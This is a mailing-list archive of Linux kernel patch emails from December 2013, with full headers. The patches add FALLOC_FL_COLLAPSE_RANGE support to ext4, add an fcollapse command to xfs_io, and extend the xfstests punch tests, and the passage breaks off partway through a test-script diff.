([61.84.85.87]) by mx.google.com with ESMTPSA id uf2sm11199850pbc.28.2013.12.08.06.11.21 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Dec 2013 06:11:23 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.87 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v4 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Date: Sun, 8 Dec 2013 23:11:13 +0900 X-ASG-Orig-Subj: [PATCH v4 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-Id: <1386511873-3760-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f43.google.com[209.85.160.43] X-Barracuda-Start-Time: 1386511884 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142934 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- fs/ext4/ext4.h | 3 + fs/ext4/extents.c | 297 ++++++++++++++++++++++++++++++++++++++++++- fs/ext4/move_extent.c | 2 +- include/trace/events/ext4.h | 25 ++++ 4 files changed, 325 insertions(+), 2 deletions(-) diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h index e618503..5cc015a 100644 --- a/fs/ext4/ext4.h +++ b/fs/ext4/ext4.h @@ -2745,6 +2745,7 @@ extern int ext4_find_delalloc_cluster(struct inode *inode, ext4_lblk_t lblk); extern int ext4_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, __u64 start, __u64 len); extern int ext4_ext_precache(struct inode *inode); +extern int ext4_collapse_range(struct inode *inode, loff_t offset, loff_t len); /* move_extent.c */ extern void ext4_double_down_write_data_sem(struct inode *first, @@ -2754,6 +2755,8 @@ extern void ext4_double_up_write_data_sem(struct inode *orig_inode, extern int ext4_move_extents(struct file *o_filp, struct file *d_filp, __u64 start_orig, __u64 start_donor, __u64 len, __u64 *moved_len); +extern int mext_next_extent(struct inode *inode, struct ext4_ext_path *path, + struct ext4_extent **extent); /* page-io.c */ extern int __init ext4_init_pageio(void); diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c index 267c9fb..12338c1 100644 --- a/fs/ext4/extents.c +++ b/fs/ext4/extents.c @@ -4566,12 +4566,16 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) unsigned int credits, blkbits = inode->i_blkbits; /* Return error if mode is not supported */ - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_COLLAPSE_RANGE)) return -EOPNOTSUPP; if (mode & FALLOC_FL_PUNCH_HOLE) return ext4_punch_hole(inode, offset, len); + if (mode & FALLOC_FL_COLLAPSE_RANGE) + return ext4_collapse_range(inode, offset, len); + ret = ext4_convert_inline_data(inode); if (ret) return ret; @@ -4870,3 +4874,294 @@ int ext4_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, ext4_es_lru_add(inode); return error; } + +/* + * ext4_access_path: + * Function to access the path buffer for marking it dirty. + * It also checks if there are sufficient credits left in the journal handle + * to update path. + */ +static int +ext4_access_path(handle_t *handle, struct inode *inode, + struct ext4_ext_path *path) +{ + int credits, err; + + /* + * Check if need to extend journal credits + * 3 for leaf, sb, and inode plus 2 (bmap and group + * descriptor) for each block group; assume two block + * groups + */ + if (handle->h_buffer_credits < 7) { + credits = ext4_writepage_trans_blocks(inode); + err = ext4_ext_truncate_extend_restart(handle, inode, credits); + /* EAGAIN is success */ + if (err && err != -EAGAIN) + return err; + } + + err = ext4_ext_get_access(handle, inode, path); + return err; +} + +/* + * ext4_ext_shift_path_extents: + * Shift the extents of a path structure lying between path[depth].p_ext + * and EXT_LAST_EXTENT(path[depth].p_hdr) downwards, by subtracting shift + * from starting block for each extent. + */ +static int +ext4_ext_shift_path_extents(struct ext4_ext_path *path, ext4_lblk_t shift, + struct inode *inode, handle_t *handle, + ext4_lblk_t *start) +{ + int depth, err = 0; + struct ext4_extent *ex_start, *ex_last; + bool update = 0; + depth = path->p_depth; + + while (depth >= 0) { + if (depth == path->p_depth) { + ex_start = path[depth].p_ext; + if (!ex_start) + return -EIO; + + ex_last = EXT_LAST_EXTENT(path[depth].p_hdr); + if (!ex_last) + return -EIO; + + err = ext4_access_path(handle, inode, path + depth); + if (err) + goto out; + + if (ex_start == EXT_FIRST_EXTENT(path[depth].p_hdr)) + update = 1; + + *start = ex_last->ee_block + + ext4_ext_get_actual_len(ex_last); + + while (ex_start <= ex_last) { + ex_start->ee_block -= shift; + if (ex_start > + EXT_FIRST_EXTENT(path[depth].p_hdr)) { + if (ext4_ext_try_to_merge_right(inode, + path, ex_start - 1)) + ex_last--; + } + ex_start++; + } + err = ext4_ext_dirty(handle, inode, path + depth); + if (err) + goto out; + + if (--depth < 0 || !update) + break; + } + + /* Update index too */ + err = ext4_access_path(handle, inode, path + depth); + if (err) + goto out; + + path[depth].p_idx->ei_block -= shift; + err = ext4_ext_dirty(handle, inode, path + depth); + if (err) + goto out; + + /* we are done if current index is not a starting index */ + if (path[depth].p_idx != EXT_FIRST_INDEX(path[depth].p_hdr)) + break; + + depth--; + } + +out: + return err; +} + +/* + * ext4_ext_shift_extents: + * All the extents which lies in the range from start to the last allocated + * block for the file are shifted downwards by shift blocks. + * On success, 0 is returned, error otherwise. + */ +static int +ext4_ext_shift_extents(struct inode *inode, handle_t *handle, + ext4_lblk_t start, ext4_lblk_t shift) +{ + struct ext4_ext_path *path; + int ret = 0, depth; + struct ext4_extent *extent; + ext4_lblk_t stop_block, current_block; + ext4_lblk_t ex_start, ex_end; + + /* Let path point to the last extent */ + path = ext4_ext_find_extent(inode, EXT_MAX_BLOCKS - 1, NULL, 0); + if (IS_ERR(path)) + return PTR_ERR(path); + + depth = path->p_depth; + extent = path[depth].p_ext; + if (!extent) { + ext4_ext_drop_refs(path); + kfree(path); + return ret; + } + + stop_block = extent->ee_block + ext4_ext_get_actual_len(extent); + ext4_ext_drop_refs(path); + kfree(path); + + /* Nothing to shift, if hole is at the end of file */ + if (start >= stop_block) + return ret; + + /* + * Don't start shifting extents until we make sure the hole is big + * enough to accomodate the shift. + */ + path = ext4_ext_find_extent(inode, start - 1, NULL, 0); + depth = path->p_depth; + extent = path[depth].p_ext; + ex_start = extent->ee_block; + ex_end = extent->ee_block + ext4_ext_get_actual_len(extent); + ext4_ext_drop_refs(path); + kfree(path); + + if ((ex_start > start - 1 && shift > ex_start) || + (ex_end > start - shift)) + return -EINVAL; + + /* Its safe to start updating extents */ + while (start < stop_block) { + path = ext4_ext_find_extent(inode, start, NULL, 0); + if (IS_ERR(path)) + return PTR_ERR(path); + depth = path->p_depth; + extent = path[depth].p_ext; + current_block = extent->ee_block; + if (start > current_block) { + /* Hole, move to the next extent */ + ret = mext_next_extent(inode, path, &extent); + if (ret != 0) { + ext4_ext_drop_refs(path); + kfree(path); + if (ret == 1) + ret = 0; + break; + } + } + ret = ext4_ext_shift_path_extents(path, shift, inode, + handle, &start); + ext4_ext_drop_refs(path); + kfree(path); + if (ret) + break; + } + + return ret; +} + +/* + * ext4_collapse_range: + * This implements the fallocate's collapse range functionality for ext4 + * Returns: 0 and non-zero on error. + */ +int ext4_collapse_range(struct inode *inode, loff_t offset, loff_t len) +{ + struct super_block *sb = inode->i_sb; + ext4_lblk_t punch_start, punch_stop; + handle_t *handle; + unsigned int credits; + unsigned int rounding; + loff_t ioffset, new_size; + int ret; + unsigned blksize_mask = (1 << inode->i_blkbits) - 1; + + BUG_ON(offset + len > i_size_read(inode)); + + /* Collapse range works only on fs block size aligned offsets. */ + if (offset & blksize_mask || len & blksize_mask) + return -EINVAL; + + if (!S_ISREG(inode->i_mode)) + return -EOPNOTSUPP; + + if (EXT4_SB(sb)->s_cluster_ratio > 1) + return -EOPNOTSUPP; + + /* Currently just for extent based files */ + if (!ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS)) + return -EOPNOTSUPP; + + if (IS_SWAPFILE(inode)) + return -ETXTBSY; + + trace_ext4_collapse_range(inode, offset, len); + + punch_start = offset >> EXT4_BLOCK_SIZE_BITS(sb); + punch_stop = (offset + len) >> EXT4_BLOCK_SIZE_BITS(sb); + + rounding = max_t(uint, 1 << EXT4_BLOCK_SIZE_BITS(sb), PAGE_CACHE_SIZE); + ioffset = offset & ~(rounding - 1); + + /* Write out all dirty pages */ + ret = filemap_write_and_wait_range(inode->i_mapping, ioffset, -1); + if (ret) + return ret; + + /* Take mutex lock */ + mutex_lock(&inode->i_mutex); + + /* Wait for existing dio to complete */ + ext4_inode_block_unlocked_dio(inode); + inode_dio_wait(inode); + + truncate_pagecache_range(inode, ioffset, -1); + + credits = ext4_writepage_trans_blocks(inode); + handle = ext4_journal_start(inode, EXT4_HT_TRUNCATE, credits); + if (IS_ERR(handle)) { + ret = PTR_ERR(handle); + goto out_dio; + } + + down_write(&EXT4_I(inode)->i_data_sem); + + ext4_discard_preallocations(inode); + + ret = ext4_es_remove_extent(inode, punch_start, + EXT_MAX_BLOCKS - punch_start - 1); + if (ret) + goto journal_stop; + + ret = ext4_ext_remove_space(inode, punch_start, punch_stop - 1); + if (ret) + goto journal_stop; + + ret = ext4_ext_shift_extents(inode, handle, punch_stop, + punch_stop - punch_start); + if (ret) + goto journal_stop; + + if ((offset + len) > i_size_read(inode)) + new_size = offset; + else + new_size = i_size_read(inode) - len; + + truncate_setsize(inode, new_size); + EXT4_I(inode)->i_disksize = new_size; + + inode->i_mtime = inode->i_ctime = ext4_current_time(inode); + ext4_mark_inode_dirty(handle, inode); + +journal_stop: + ext4_journal_stop(handle); + up_write(&EXT4_I(inode)->i_data_sem); + +out_dio: + ext4_inode_resume_unlocked_dio(inode); + mutex_unlock(&inode->i_mutex); + return ret; +} diff --git a/fs/ext4/move_extent.c b/fs/ext4/move_extent.c index 773b503..b474558 100644 --- a/fs/ext4/move_extent.c +++ b/fs/ext4/move_extent.c @@ -76,7 +76,7 @@ copy_extent_status(struct ext4_extent *src, struct ext4_extent *dest) * ext4_ext_path structure refers to the last extent, or a negative error * value on failure. */ -static int +int mext_next_extent(struct inode *inode, struct ext4_ext_path *path, struct ext4_extent **extent) { diff --git a/include/trace/events/ext4.h b/include/trace/events/ext4.h index 197d312..90e2f71 100644 --- a/include/trace/events/ext4.h +++ b/include/trace/events/ext4.h @@ -2410,6 +2410,31 @@ TRACE_EVENT(ext4_es_shrink_exit, __entry->shrunk_nr, __entry->cache_cnt) ); +TRACE_EVENT(ext4_collapse_range, + TP_PROTO(struct inode *inode, loff_t offset, loff_t len), + + TP_ARGS(inode, offset, len), + + TP_STRUCT__entry( + __field(dev_t, dev) + __field(ino_t, ino) + __field(loff_t, offset) + __field(loff_t, len) + ), + + TP_fast_assign( + __entry->dev = inode->i_sb->s_dev; + __entry->ino = inode->i_ino; + __entry->offset = offset; + __entry->len = len; + ), + + TP_printk("dev %d,%d ino %lu offset %lld len %lld", + MAJOR(__entry->dev), MINOR(__entry->dev), + (unsigned long) __entry->ino, + __entry->offset, __entry->len) +); + #endif /* _TRACE_EXT4_H */ /* This part must be outside protection */ -- 1.7.9.5 From linkinjeon@gmail.com Sun Dec 8 08:11:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0A1B97FC0 for ; Sun, 8 Dec 2013 08:11:46 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7A9CBAC001 for ; Sun, 8 Dec 2013 06:11:45 -0800 (PST) X-ASG-Debug-ID: 1386511898-04cb6c537e5f91f0001-NocioJ Received: from mail-pb0-f44.google.com (mail-pb0-f44.google.com [209.85.160.44]) by cuda.sgi.com with ESMTP id kmSHjeXYJjqEseV9 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Dec 2013 06:11:39 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.44 Received: by mail-pb0-f44.google.com with SMTP id rq2so3817464pbb.3 for ; Sun, 08 Dec 2013 06:11:38 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=39e2GaM+YI2uC0ycQmrjyd4ZfMvGQ1yrafhpiuqjT1E=; b=wOSTZ9CFAWUSp6q00ajuZdFlBPDoQ5dX8x0Y+0M6nkihGRlJ+nX4MzV32JF36MtrUC Ex2ONiNkH/aeVckpkTPATSoM34ag/5rsmWvhzpcrfskT/wvEBAtXuSZAXrErHYGKXAGq xkgmGvymHBP/l7O1MlD/Absv/HfBPbXHCFFA8sJ3t6y4/ckeRTwBlHVBfRYG0AId/XtX b6rmg6MhBR1BPE2K1P+I5kS7YUjhRBYDAr+hTEUAxvh0w8h/xmfrfQEsJIOSqXtBAhG8 oFnbDQDX90PLU+W/KacrWZmST10/1fNY5IGXgLSvB9+b0udXwS3mFzkIE6yb5T4xAX3K hz8w== X-Barracuda-BBL-IP: nil X-Received: by 10.68.190.103 with SMTP id gp7mr15566045pbc.74.1386511898822; Sun, 08 Dec 2013 06:11:38 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.87]) by mx.google.com with ESMTPSA id ik1sm11219282pbc.9.2013.12.08.06.11.36 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Dec 2013 06:11:38 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.87 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v4 4/10] xfsprog: xfsio: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Date: Sun, 8 Dec 2013 23:11:30 +0900 X-ASG-Orig-Subj: [PATCH v4 4/10] xfsprog: xfsio: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-Id: <1386511890-3794-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f44.google.com[209.85.160.44] X-Barracuda-Start-Time: 1386511899 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142934 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Add support FALLOC_FL_COLLAPSE_RANGE for fallocate. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan Reviewed-by: Dave Chinner --- io/prealloc.c | 41 +++++++++++++++++++++++++++++++++++++++-- man/man8/xfs_io.8 | 6 ++++++ 2 files changed, 45 insertions(+), 2 deletions(-) diff --git a/io/prealloc.c b/io/prealloc.c index 8380646..d697f82 100644 --- a/io/prealloc.c +++ b/io/prealloc.c @@ -29,6 +29,10 @@ #define FALLOC_FL_PUNCH_HOLE 0x02 #endif +#ifndef FALLOC_FL_COLLAPSE_RANGE +#define FALLOC_FL_COLLAPSE_RANGE 0x08 +#endif + static cmdinfo_t allocsp_cmd; static cmdinfo_t freesp_cmd; static cmdinfo_t resvsp_cmd; @@ -37,6 +41,7 @@ static cmdinfo_t zero_cmd; #if defined(HAVE_FALLOCATE) static cmdinfo_t falloc_cmd; static cmdinfo_t fpunch_cmd; +static cmdinfo_t fcollapse_cmd; #endif static int @@ -159,8 +164,11 @@ fallocate_f( int mode = 0; int c; - while ((c = getopt(argc, argv, "kp")) != EOF) { + while ((c = getopt(argc, argv, "ckp")) != EOF) { switch (c) { + case 'c': + mode = FALLOC_FL_COLLAPSE_RANGE; + break; case 'k': mode = FALLOC_FL_KEEP_SIZE; break; @@ -203,6 +211,25 @@ fpunch_f( } return 0; } + +static int +fcollapse_f( + int argc, + char **argv) +{ + xfs_flock64_t segment; + int mode = FALLOC_FL_COLLAPSE_RANGE; + + if (!offset_length(argv[1], argv[2], &segment)) + return 0; + + if (fallocate(file->fd, mode, + segment.l_start, segment.l_len)) { + perror("fallocate"); + return 0; + } + return 0; +} #endif /* HAVE_FALLOCATE */ void @@ -263,7 +290,7 @@ prealloc_init(void) falloc_cmd.argmin = 2; falloc_cmd.argmax = -1; falloc_cmd.flags = CMD_NOMAP_OK | CMD_FOREIGN_OK; - falloc_cmd.args = _("[-k] [-p] off len"); + falloc_cmd.args = _("[-c] [-k] [-p] off len"); falloc_cmd.oneline = _("allocates space associated with part of a file via fallocate"); add_command(&falloc_cmd); @@ -277,5 +304,15 @@ prealloc_init(void) fpunch_cmd.oneline = _("de-allocates space assocated with part of a file via fallocate"); add_command(&fpunch_cmd); + + fcollapse_cmd.name = "fcollapse"; + fcollapse_cmd.cfunc = fcollapse_f; + fcollapse_cmd.argmin = 2; + fcollapse_cmd.argmax = 2; + fcollapse_cmd.flags = CMD_NOMAP_OK | CMD_FOREIGN_OK; + fcollapse_cmd.args = _("off len"); + fcollapse_cmd.oneline = + _("de-allocates space and eliminates the hole by shifting extents"); + add_command(&fcollapse_cmd); #endif /* HAVE_FALLOCATE */ } diff --git a/man/man8/xfs_io.8 b/man/man8/xfs_io.8 index 767b50e..9543b20 100644 --- a/man/man8/xfs_io.8 +++ b/man/man8/xfs_io.8 @@ -380,6 +380,12 @@ will set the FALLOC_FL_KEEP_SIZE flag as described in .PD .RE .TP +.BI fcollapse " offset length" +Call fallocate with FALLOC_FL_COLLAPSE_RANGE flag as described in the +.BR fallocate (2) +manual page to de-allocates blocks and eliminates the hole created in this process +by shifting data blocks into the hole. +.TP .BI fpunch " offset length" Punches (de-allocates) blocks in the file by calling fallocate with the FALLOC_FL_PUNCH_HOLE flag as described in the -- 1.7.9.5 From linkinjeon@gmail.com Sun Dec 8 08:12:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9CC877FAC for ; Sun, 8 Dec 2013 08:12:05 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 47F7AAC005 for ; Sun, 8 Dec 2013 06:12:05 -0800 (PST) X-ASG-Debug-ID: 1386511915-04bdf013231021f0001-NocioJ Received: from mail-pd0-f179.google.com (mail-pd0-f179.google.com [209.85.192.179]) by cuda.sgi.com with ESMTP id r5D2JEoSPICYHzDC (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Dec 2013 06:11:57 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.179 Received: by mail-pd0-f179.google.com with SMTP id r10so3632794pdi.24 for ; Sun, 08 Dec 2013 06:11:55 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=hLv4L29TSO8bift9giIOIA5L02BEnVX7o2JU/HsBXNk=; b=Ka+OtOEYjxmesGE0zouwrz/OOkn/a1A1XF/DEPOnOapscCVMAtdacoIYQgCSJWHXFU 6SzdcTet2Ue7kVScTxmOKy1xpRBkOGO1cKUB4Zh3FtBhezy2L33pQcnKkpTmMvvBEW4I gjICrFE3Ycmg60aHX4KDD60GoIcPyA58+y3vMhWTNEVHTvKulgchSdmegr6T6t98HwRe G5L6Wo5K6PYA5RoY5/W8eWVIxrOj8hRiClsc3vOi5GHwWlfIuUY0qbHfRg/+HfkaPU9i vdcAFh41+chDk8ZHcAhyHiXSqLJawdk0egwx6pKq5T0DGdxmGc6Bu50QLaCeG8MuXXtB u9mA== X-Barracuda-BBL-IP: nil X-Received: by 10.68.198.97 with SMTP id jb1mr15476654pbc.104.1386511915184; Sun, 08 Dec 2013 06:11:55 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.87]) by mx.google.com with ESMTPSA id vi2sm11209597pbc.21.2013.12.08.06.11.52 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Dec 2013 06:11:54 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.87 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v4 5/10] xfstest: shared/001: Standard collapse range tests Date: Sun, 8 Dec 2013 23:11:46 +0900 X-ASG-Orig-Subj: [PATCH v4 5/10] xfstest: shared/001: Standard collapse range tests Message-Id: <1386511906-3828-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pd0-f179.google.com[209.85.192.179] X-Barracuda-Start-Time: 1386511917 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142934 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This testcase(001) tries to test various corner cases for fcollapse range functionality over different type of extents. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- common/punch | 133 ++++++++++++++++++++++++++++---------------------- common/rc | 14 ++++++ tests/shared/001 | 65 ++++++++++++++++++++++++ tests/shared/001.out | 53 ++++++++++++++++++++ tests/shared/group | 1 + 5 files changed, 209 insertions(+), 57 deletions(-) create mode 100644 tests/shared/001 create mode 100644 tests/shared/001.out diff --git a/common/punch b/common/punch index a49638c..f401455 100644 --- a/common/punch +++ b/common/punch @@ -317,13 +317,23 @@ _test_generic_punch() map_cmd=$4 filter_cmd=$5 testfile=$6 + multiple=1 + + # + # If we are testing collapse range, we increare all the offsets of this + # test by a factor of 4. We do this because unlike punch, collapse + # range also decreases the size of file hence require bigger offsets. + # + if [ "$zero_cmd" == "fcollapse" ]; then + multiple=4 + fi echo " 1. into a hole" if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -332,9 +342,9 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 0 20k" $sync_cmd \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "pwrite 0 $(($multiple * 20))k" $sync_cmd \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -344,9 +354,9 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$alloc_cmd 0 20k" \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "$alloc_cmd 0 $(($multiple * 20))k" \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -356,9 +366,9 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 8k 8k" $sync_cmd \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "pwrite $(($multiple * 8))k $(($multiple * 8))k" $sync_cmd \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -368,9 +378,9 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$alloc_cmd 8k 8k" \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "$alloc_cmd $(($multiple * 8))k $(($multiple * 8))k" \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -380,9 +390,9 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 0 8k" $sync_cmd \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "pwrite 0 $(($multiple * 8))k" $sync_cmd \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -392,10 +402,10 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 0 8k" $sync_cmd \ - -c "$alloc_cmd 8k 8k" \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "pwrite 0 $(($multiple * 8))k" $sync_cmd \ + -c "$alloc_cmd $(($multiple * 8))k $(($multiple * 8))k" \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -404,9 +414,9 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$alloc_cmd 0 8k" \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "$alloc_cmd 0 $(($multiple * 8))k" \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -415,10 +425,10 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$alloc_cmd 0 8k" \ - -c "pwrite 8k 8k" $sync_cmd \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "$alloc_cmd 0 $(($multiple * 